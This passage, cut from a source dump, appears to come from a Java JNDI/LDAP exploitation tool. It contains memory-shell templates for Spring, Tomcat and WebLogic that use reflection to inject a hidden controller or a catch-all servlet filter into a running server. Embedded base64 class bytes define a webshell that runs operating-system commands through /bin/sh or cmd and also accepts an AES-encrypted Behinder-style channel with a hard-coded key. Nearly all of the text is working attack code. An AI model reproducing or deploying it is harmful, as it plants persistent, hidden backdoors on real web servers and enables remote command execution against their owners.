WEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY="; byte[] bytes = base64Decoder.decodeBuffer(codeClass); Method method = null; Class clz = classLoader.getClass(); while(method == null && clz != Object.class ){ try{ method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); }catch(NoSuchMethodException ex){ clz = clz.getSuperclass(); } } method.setAccessible(true); clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); }catch (Exception ex){ //continue; } } XmlWebApplicationContext context = null; try{ context = (XmlWebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); }catch(Exception e){ context = (XmlWebApplicationContext) ContextLoader.getCurrentWebApplicationContext(); } try{ // 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean context.getBeanFactory().registerSingleton("dynamicController", clazz.newInstance()); }catch(Exception e){ System.out.println(e); //continue } try{ Object requestMappingHandlerMapping = context.getBean(Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")); // 防止重复添加,重复添加会导致不可用 Object obj = requestMappingHandlerMapping.getClass().getMethod("getHandlerMethods").invoke(requestMappingHandlerMapping); Method method = obj.getClass().getMethod("keySet"); method.setAccessible(true); Set mappingInfos = (Set)method.invoke(obj); for(Object requestMappingInfo : mappingInfos){ if(requestMappingInfo.toString().contains("/poc2020")){ return; } } method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("detectHandlerMethods", Object.class); method.setAccessible(true); method.invoke(requestMappingHandlerMapping, "dynamicController"); return; }catch(Exception e){ System.out.println(e); //continue; } try{ // 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean Object dh = context.getBean(Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping")); // 3. 反射获得 registerHandler Method Method method = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping").getDeclaredMethod("registerHandler", String.class, Object.class); method.setAccessible(true); // 4. 将 dynamicController 和 URL 注册到 handlerMap 中 method.invoke(dh, "/poc2020", "dynamicController"); return; }catch(Exception e){ System.out.println(e); //continue } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ================================================ FILE: src/main/java/com/feihong/ldap/template/Template.java ================================================ package com.feihong.ldap.template; public interface Template { void generate(); byte[] getBytes(); void cache(); String getClassName(); } ================================================ FILE: src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate.java ================================================ package com.feihong.ldap.template; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.modeler.Registry; import sun.misc.BASE64Decoder; import javax.management.DynamicMBean; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.servlet.DispatcherType; import javax.servlet.Filter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Set; public class TomcatMemshellTemplate extends AbstractTranslet { public TomcatMemshellTemplate(){ try{ String filterName = "dynamicFilter"; String urlPattern = "/*"; MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object obj = field.get(mbeanServer); field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); Repository repository = (Repository) field.get(obj); Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); for(NamedObject namedObject : objectSet){ try{ DynamicMBean dynamicMBean = namedObject.getObject(); field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); obj = field.get(dynamicMBean); field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext)field.get(obj); field = standardContext.getClass().getDeclaredField("filterConfigs"); field.setAccessible(true); HashMap map = (HashMap) field.get(standardContext); if(map.get(filterName) == null) { System.out.println("[+] Add Dynamic Filter"); //生成 FilterDef //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 Class filterDefClass = null; try { filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); } catch (ClassNotFoundException e) { filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); } Object filterDef = filterDefClass.newInstance(); filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, filterName); ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class clazz; try{ clazz = cl.loadClass("com.feihong.ldap.template.DynamicFilterTemplate"); }catch(ClassNotFoundException e){ BASE64Decoder base64Decoder = new BASE64Decoder(); String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY="; byte[] bytes = base64Decoder.decodeBuffer(codeClass); Method method = null; Class clz = cl.getClass(); while(method == null && clz != Object.class ){ try{ method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); }catch(NoSuchMethodException ex){ clz = clz.getSuperclass(); } } method.setAccessible(true); clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); } filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, clazz.getName()); filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, clazz.newInstance()); standardContext.getClass().getDeclaredMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef); //设置 FilterMap //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 Class filterMapClass = null; try { filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (ClassNotFoundException e) { filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } //使用 addFilterMapBefore 会自动把我们创建的 filterMap 丢到第一位去,无需在手动排序了 //其他中间件应该也是类似的 Object filterMap = filterMapClass.newInstance(); filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, filterName); filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, DispatcherType.REQUEST.name()); filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, urlPattern); standardContext.getClass().getDeclaredMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap); //设置 FilterConfig Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); map.put(filterName, filterConfig); } }catch(Exception e){ //pass } } }catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ================================================ FILE: src/main/java/com/feihong/ldap/template/WeblogicMemshellTemplate.java ================================================ package com.feihong.ldap.template; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.misc.BASE64Decoder; import weblogic.servlet.internal.FilterManager; import weblogic.servlet.internal.WebAppServletContext; import weblogic.servlet.utils.ServletMapping; import weblogic.utils.collections.MatchMap; import javax.management.MBeanServer; import javax.management.ObjectName; import java.lang.management.ManagementFactory; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.HashSet; import java.util.Map; import java.util.Set; public class WeblogicMemshellTemplate extends AbstractTranslet { public WeblogicMemshellTemplate(){ try{ String filterName = "dynamicFilter"; String urlPattern = "/*"; MBeanServer server = ManagementFactory.getPlatformMBeanServer(); Field field = server.getClass().getDeclaredField("wrappedMBeanServer"); field.setAccessible(true); Object obj = field.get(server); field = obj.getClass().getDeclaredField("mbsInterceptor"); field.setAccessible(true); obj = field.get(obj); field = obj.getClass().getDeclaredField("repository"); field.setAccessible(true); Repository repository = (Repository)field.get(obj); // 这里的 query 参数会被忽略,所以直接用 null Set namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"),null); for(NamedObject namedObject : namedObjects){ try{ String name = (String) namedObject.getObject().getAttribute("Name"); if(name.equals("bea_wls_internal") || name.equals("mejb") || (name.contains("bea") && name.contains("wls"))) continue; field = namedObject.getObject().getClass().getDeclaredField("managedResource"); field.setAccessible(true); obj = field.get(namedObject.getObject()); field = obj.getClass().getSuperclass().getDeclaredField("children"); field.setAccessible(true); HashSet set = (HashSet)field.get(obj); for(Object o : set){ if(o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")){ field = o.getClass().getDeclaredField("context"); field.setAccessible(true); WebAppServletContext servletContext = (WebAppServletContext) field.get(o); FilterManager filterManager = servletContext.getFilterManager(); // 判断一下,防止多次加载, 默认只加载一次,不需要重复加载 if (!filterManager.isFilterRegistered(filterName)) { System.out.println("[+] Add Dynamic Filter"); ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class clazz; try{ clazz = cl.loadClass("com.feihong.ldap.template.DynamicFilterTemplate"); }catch(ClassNotFoundException e){ BASE64Decoder base64Decoder = new BASE64Decoder(); String codeClass = 